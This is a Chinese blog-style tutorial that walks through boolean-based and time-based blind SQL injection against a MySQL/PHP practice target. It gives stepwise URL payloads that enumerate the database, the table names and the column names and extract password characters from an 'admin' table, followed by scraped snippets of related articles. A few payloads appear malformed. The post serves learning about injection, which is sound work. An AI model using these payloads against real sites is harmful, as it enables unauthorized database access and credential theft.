注入学习(3) Mysql+php注入 基于bool和时间的盲注

练习三:Mysql+php 基于bool和时间的盲注

今天要用的函数(详细的直接看链接):

left()函数:left()得到字符串左部指定个数的字符  left( string, n ) #string为要截取的字符串,n为长度

limit()函数:标准定义找百度  limit(a,b)  #我的理解 从第a个位置,截取b个数据

if语句/if()函数:在MySQL中语法如下  if(a,b,c)  #如果a为真,则if()函数执行b语句; 否则if()函数执行c语句;

sleep()函数:函数代码执行延迟若干秒;

  ##链接在这里 https://blog.csdn.net/alex_seo/article/details/82148955(布尔盲注)

          https://blog.csdn.net/pygain/article/details/53086389(时间盲注,这个其实都包括了)

          https://www.cnblogs.com/lcamry/p/5504374.html

##感觉函数越来越多,想写一篇整理,不知道会不会写哈哈

基于布尔的盲注

1)因为是靶场所以肯定是可以注入的,直接判断当前数据库长度

/index.php?id=1 and length(database())>3 正确
/index.php?id=1 and length(database())>4 错误
#数据库长度为4

2)猜解数据库名,为test

/index.php?id=1 and left(database(),1) >‘s‘ 正确
/index.php?id=1 and left(database(),1) >‘t‘ 错误
#第一种方法,用left函数,数据库第1位为t
/index.php?id=1 and ascii(substr((select database()),1,1))>115 正确
/index.php?id=1 and ascii(substr((select database()),1,1))>116 错误
#第二种方法,用ascii函数,第1位ascii编码为116,即t

3)判断有多少个表,再判断表的长度,最后猜表名,找到比较敏感的就行

index.php?id=1 and (select count(*) from information_schema.tables where table_schema =‘test‘)>1
#判断有多少个表,判断方法和上面一样,数据库名字要带‘‘
index.php?id=1 and length((select table_name from information_schema.tables where table_schema=‘test‘ limit 0,1))>4
#判断第一个表长度
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=‘test‘ limit 0,1),1,1))=97
#猜第一个表表名的第一个字母,这里第一个字母是97那应该可以猜到是admin

4)然后判断列名长度,猜列名,操作和猜表差不多,附上语句,最后出来是username和password

index.php?id=1 and ascii(substr((select count(column_name) from information_schema.columns where table_name=‘admin‘)=8#判断列名长度
index.php?id=1 and ascii(substr((select column_name from information_schema.columns where table_name=‘admin‘ limit 0,1),1,1))=105#猜列名的第一个字母

5)猜解字段,挨着找直到找完需要的

index.php?id=1 and ascii(substr((select password from admin limit 0,1),1,1))>100

基于时间的盲注

#时间盲注中返回的页面都是一样的,我们利用条件语句if(),配合sleep()函数通过页面返回时间来判断操作是否正确

#基本操作和布尔盲注差不多,就是语句构造变了一哈,图就不整了,附上语句

1)判断是否存在时间盲注
?id=1 and if(ascii(substr((select database()),1,1))>10000,1,sleep(5))
#如果返回错误,sleep(5)秒
2)判断数据库长度,数据库名
?id=1 and if(length((select database()))>3,1,sleep(5))
?id=1 and if(ascii(substr((select database)),1,1))>100,1,sleep(5))
#判断出来是4,数据库名test
3)判断表个数,长度,猜表名
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=‘test‘ limit 0,1),1,1))>100,1,sleep(5))
#和前面差不多,这个就贴个猜表名的,猜出来还是admin
4)判断列长度,猜列名
?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name=‘admin‘ limit 0,1),1,1))>1000,1,sleep(5))
#同上
5)猜解字段
?id=1 and if(ascii(substr((select password from admin limit 0,1),1,1))>1,1,sleep(5))
#需要的信息弄完了就够了

  看组长bolg的时候看到文末一张我们的聊天截图,感觉好有爱哈哈,借用一下

      ————感谢卿哥 组长 俊姐,步履不停

          2019-06-01 23:58:35

原文地址:https://www.cnblogs.com/-saber/p/10961193.html

时间: 2024-10-10 22:06:50

注入学习(3) Mysql+php注入 基于bool和时间的盲注的相关文章

mysql基于“时间”的盲注

无需页面报错,根据页面响应时间做判断! mysql基于时间的盲注 ====================================================================================================================================================================== * 猜解库名 - 下面是猜解正确 mysql> select sleep(1) from (sele

Python:SQLMap源码精读之基于时间的盲注(time-based blind)

基于时间的盲注(time-based blind) 测试应用是否存在SQL注入漏洞时,经常发现某一潜在的漏洞难以确认.这可能源于多种原因,但主要是因为Web应用未显示任何错误,因而无法检索任何数据. 对于这种情况,要想识别漏洞,向数据库注入时间延迟并检查服务器响应是否也已经延迟会很有帮助.时间延迟是一种很强大的技术,Web服务器虽然可以隐藏错误或数据,但必须等待数据库返回结果,因此可用它来确认是否存在SQL注入.该技术尤其适合盲注. 源码解释 代码位置:在checkSqlInjection函数中

mysql order by基于时间的盲注

order by后面的注入,一般先尝试报错注入,无报错的时候可以通过rand(ture)和rand(false)来进行bool型盲注,但是今天遇到完全没有数据回显的(也就是数据库中没有数据)情况,这就比较麻烦了.记录一下sql语句 参考文章:https://www.cnblogs.com/babers/p/7397525.html https://www.cnblogs.com/Vinson404/p/7246792.html?utm_source=itdadao&utm_medium=refe

【安全牛学习笔记】​SQLMAP- 自动注入

SQLMAP自动注入 开源sql注入漏洞检测.利用工具 检测动态页面中get/post参数.cookie.http头 数据榨取 文件系统访问 操作系统命令执行 引擎强大.特性丰富 Xss漏洞检测 ------------------------------------------------------------------------------ 低安全代码 <?php if (isset($_GET['Submit'])){ // Retrieve data $id = $_GET['id

MYSQL注入天书之盲注讲解

Background-2 盲注的讲解 何为盲注?盲注就是在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面.此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注.从background-1中,我们可以知道盲注分为三类 ?基于布尔SQL盲注 ?基于时间的SQL盲注 ?基于报错的SQL盲注 Ps:知识点太多了,这里只能简单列出来大致讲解一下.(ps:每当看到前辈的奇淫技巧的payload时,能想象到我内心的喜悦么?我真的想细细的写写这一块,但是不知道该怎么写或者小伙伴

MYSQL手工注入(详细步骤)—— 待补充

0x00 SQL注入的分类: (1)基于从服务器接收到的响应 ?? ?????▲基于错误的 SQL 注入 ?? ??? ?▲联合查询的类型 ?? ??? ?▲堆查询注射 ?? ??? ?▲SQL 盲注 ?? ??? ??? ??基于布尔 SQL 盲注 ?? ??? ??? ??基于时间的 SQL 盲注 ?? ??? ??? ??基于报错的 SQL 盲注 (2)基于如何处理输入的 SQL 查询(数据类型) ?? ??? ??基于字符串 ?? ??? ??数字或整数为基础的 (3)基于程度和顺序的注

mysql手工注入

information_schema SQL基础 1.1 什么是sql? SQL(structured query language),即结构化查询语言,是关系数据库的标准语言,SQL是一个通用的.功能强大的关系数据库语言,但其功能并不仅仅是查询. 1.2 mysql MySQL是一个关系型数据库管理系统,由瑞典MySQL AB 公司开发,目前属于 Oracle 旗下产品.另外,MySQL是一种关联数据库管理系统,关联数据库将数据保存在不同的表中,而不是将所有数据放在一个大仓库内,这样就增加了速

手工注入——MySQL手工注入实战和分析

今天进行了MySQL手工注入实战,分享一下自己的实战过程和总结,这里环境使用的是墨者学院的在线靶场.话不多说,咱们直接开始. 第一步,判断注入点 通过 ' 和构造 and 1=1 和 and 1=2 查看页面是否报错.这里通过and 1=1 发现页面正常.如下图. 接下来,咱们再构造 and 1=2 发现页面报错,说明页面存在注入点.如下图. 第二步,判断字段数 通过 order by 语句,如果后面输入的数字大于数据库的字段数,页面就会报错,通过这个,咱们先输入 order by 4 发现页面

DVWA-sql注入(盲注)

DVWA简介 DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程. DVWA共有十个模块,分别是Brute Force(暴力(破解)).Command Injection(命令行注入).CSRF(跨站请求伪造).File Inclusion(文件包含).File Upload(文件上传).Insecure